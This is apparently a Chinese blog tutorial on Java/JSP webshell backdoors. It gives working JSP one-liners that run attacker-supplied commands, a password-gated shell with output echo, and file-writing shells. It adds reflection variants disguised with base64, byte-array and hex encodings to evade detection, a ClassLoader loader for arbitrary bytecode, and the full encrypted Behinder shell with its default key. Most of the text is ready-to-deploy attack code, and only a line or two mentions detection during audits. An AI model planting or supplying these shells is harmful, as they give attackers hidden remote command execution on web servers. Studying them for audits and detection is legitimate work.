文章目录
- Java Web后门
-
- 一句话木马
- 反射调用
- 类加载(实现冰蝎马)
- ELSE
- 参考
Java Web后门
Java 是强型语言,不能像 PHP 使用字符串组合作为系统函数
Java 命令执行函数中常用的命令执行函数
- java.lang.Runtime.exec()
- java.lang.ProcessBuilder.start()
一句话木马
最简单的 jsp 一句话木马
<% Runtime.getRuntime().exec(request.getParameter("i"));%>
其实这就和 PHP 一句话一样
<?PHP eval($GET_['i']);?>
但是 jsp 一句话没有显示,看不到返回信息,通常用于反弹 shell,下面的代码有回显,需要密码验证 jsp 木马
<% if ("ocean".equals(request.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while ((a = in.read(b)) != -1) { out.print(new String(b)); } out.print("</pre>"); } %>
Runtime
类包装运行环境。每个类包装。 Java 有一个应用程序 Runtime
类实例,使应用程序与其运行环境相连。 getRuntime()
构建 Runtime
类实例。 getRuntime()
返回与当前 Java 与应用程序相关的操作对象。获得实例后调用 exec()
系统命令执行方法
request
为 JSP 内置对象,getParameter()
获取请求参数的方法 cmd
值构建命令
其中:HTML里的 pre 标签,可定义预格式文本。在 pre 元素中的文本将保留空格和换行符。文本显示为等宽字体,在保持文本格式时经常使用 pre 例如,当我们想显示源代码时,只要放一个标签 pre 然后直接复制和粘贴源代码,然后在页面上保持良好的格式。不会像其他标签那样自动折叠换行和空格
执行效果如下
Windows 操作系统可能会带来乱码问题,可以在文件头添加以下两句话来解决
<%@ page contentType="text/html;charset=GBK"%> <%@ page contentType="text/html;charset=gb2312"%>
当然,除了显示数据外,还可以写在执行文件中
<%new java.io.FileOutputStream(request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%>
或者写入 web 目录
<%new java.io.FileOutputStream(application.getRealPath("/") "/" request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%>
这是最简单的一句话,在审计中很容易找到
反射调用
因为反射可以调用各种私有方法,所以反射的后门更多
<%@page contentType="text/html; charset=UTF-8" language="java" %> <%@page import="sun.misc.BASE64Decoder" %> <%@page import="java.lang.reflect.Method" %> <% BASE64Decoder base64Decoder = new BASE64Decoder(); Class runtime = Class.forName(new String(base64Decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU="))); Process method = (Process) runtime.getMethod(new String(base64Decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(runtime.getMethod(new String(base64Decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[] { }), request.getParameter("cmd")); java.io.InputStream in = method.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while ((a = in.read(b)) != -1) { out.print(new String(b)); } out.print("</pre>"); %>
重点是这个代码
去掉 base64 以下代码
Class runtime = Class.forName("java.lang.Runtime"); Process method = (Process) runtime.getMethod("exec",String.class).invoke(runtime.getMethod("getRuntime").invoke(null, new Object[] request.getParameter("cmd"));
非常经典的反射
不直接使用调用方法构建后门,而是使用动态加载,将要调用的类和函数放在字符串的位置,然后使用变形隐藏关键函数,这里使用 base同样可以使用64 hex 和 ascii 的编码绕过
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <% if(request.getParameter("cmd")!=null){ Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 })); Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") ); java.io.InputStream in = e.getInputStream(); int a = -1;byte[] b = new byte[2048];out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>"); } %>
<% page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
}
%>
类加载(冰蝎马实现方式)
对于类加载是直接传送二进制的字节码()
java 执行代码的时候要先编译成 .class 字节码的文件才能被 jvm 所执行。如果实现任意 class 文件的加载,相当于实现了 php 中 eval 命令执行函数,即可以做到将字符串作为代码来执行
-
新建文件 Calc.java 首先写一个命令执行的类,调用 calc
import java.io.IOException; public class Calc { @Override public String toString() { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return "OK"; } }
然后使用命令编译生成字节码文件
javac .Calc.java
-
主运行程序类 Loader
import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder; import java.io.File; import java.io.FileInputStream; public class Loader { //实现二进制文件转成base64 public static String encodeBase64File(String path) throws Exception { File file = new File(path); ; FileInputStream inputFile = new FileInputStream(file); byte[] buffer = new byte[(int) file.length()]; inputFile.read(buffer); inputFile.close(); return new BASE64Encoder().encode(buffer); } public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) throws Exception { String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMb2JmdXNjYXRlL0NhbGM7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAeAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACgALBwAjDAAkACUBAAhjYWxjLmV4ZQwAJgAnAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAKAALAQACT0sBAA5vYmZ1c2NhdGUvQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAABAAOAAAADAABAAAABQAPABAAAAABABEAEgABAAwAAABtAAIAAgAAABS4AAISA7YABFenAAhMK7YABhIHsAABAAAACQAMAAUAAwANAAAAFgAFAAAACAAJAAsADAAJAA0ACgARAAwADgAAABYAAgANAAQAEwAUAAEAAAAUAA8AEAAAABUAAAAHAAJMBwAWBAABABcAAAACABg="; // Calc.class的base64编码 BASE64Decoder code = new sun.misc.BASE64Decoder(); // String re = encodeBase64File("C:\Users\q2723\Desktop\Calc.class"); // System.out.println(re); Class result = new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数 System.out.println(result.newInstance().toString()); } }
注意修改 class 文件所在位置
成功执行系统命令
代码重点就在红框中,正常情况下,Java 并没有提供直接解析 class 字节数组的接口。不过 classloader 内部实现了一个 protected 的 defineClass 方法,可以将 byte[] 直接转换为 Class,因为该方法是 protected 的,我们没办法在外部直接调用,可以通过直接自定义一个类继承 classloader,然后在子类中调用父类的 defineClass 方法
这样传入的二进制字节码 class 文件直接就加载执行了,真的有点 PHP EVAL 的感觉了
这个 Demo 就是冰蝎实现服务端(即上传到目标机器的 jsp 马)的原型,具体可以看这篇文章:利用动态二进制加密实现新型一句话木马之Java篇
作者在进行简化成了一行,这就是现在用的冰蝎的 jsp 马,具有动态解密功能的、能解析执行任意二进制流的新型一句话木马
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
对于此类后门通常采用后门扫描工具检测,人工审计时要关注加密函数 BASE64Decoder() 以及 SecretKeySpec()
ELSE
-
JDK 新特性
利用 Lambda 表达式编写的 JSP 一句话木马
访问接口中的默认方法 Reduce 来编写 JSP 一句话木马
-
各种表达式
-
内存马
可以看参考文章,其中提及了很多方式
参考
利用动态二进制加密实现新型一句话木马之Java篇
jsp一句话木马
《Java 代码审计入门》
WebShell免杀之JSP